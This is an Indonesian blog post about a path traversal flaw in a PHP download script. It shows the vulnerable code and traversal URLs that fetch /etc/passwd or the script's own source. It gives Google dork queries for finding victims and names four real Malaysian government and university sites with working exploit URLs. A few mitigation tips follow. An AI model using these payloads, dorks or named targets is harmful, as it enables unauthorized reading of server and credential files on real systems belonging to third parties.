....
   
  Selamat datang
  PHP download script vulnerability
 

PHP download script vulnerability

Published: Januari 18, 2008
 

 Sebenarnya saya bingung mau memberi judul apa pada artikel ini. Maaf bila judulnya agak kurang pas dengan isi artikelnya

 

PHP adalah suatu bahasa pemrograman web yang cukup sakti yang kehandalannya tidak diragukan lagi. Tapi,adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.

Salah satu contohnya adalah :

//download.php
      header( "Content-Type: application/octet-stream" );
      header( "Content-Length: " . filesize($_GET['file'] ) );
      header( "Content-Disposition: inline; filename="$_GET[file]"");
      readfile($_GET['file'] );
?>
 

Kode php diatas memiliki kelemahan yang fatal, dimana variabel “file” sama sekali tidak difilter, sehingga hacker akan bisa mendownload file apapun yang ada di server tersebut. Misalkan saja sang hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.
 

Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.
 

 

Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.
 

Beberapa contoh situs yang vulnerable adalah:
 

http://www.mpbp.gov.my/download.php?file=download.php

http://elearning.mmu.edu.my/download.php?file=download.php

http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd

http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd
 

 

Adapun sedikit hal untuk pencegahan adalah:
 

1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “%00”, atau type file  yang boleh didownload.
 

2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.

 

terimakasih

 
   
 
=> Do you also want a homepage for free? Then click here! <=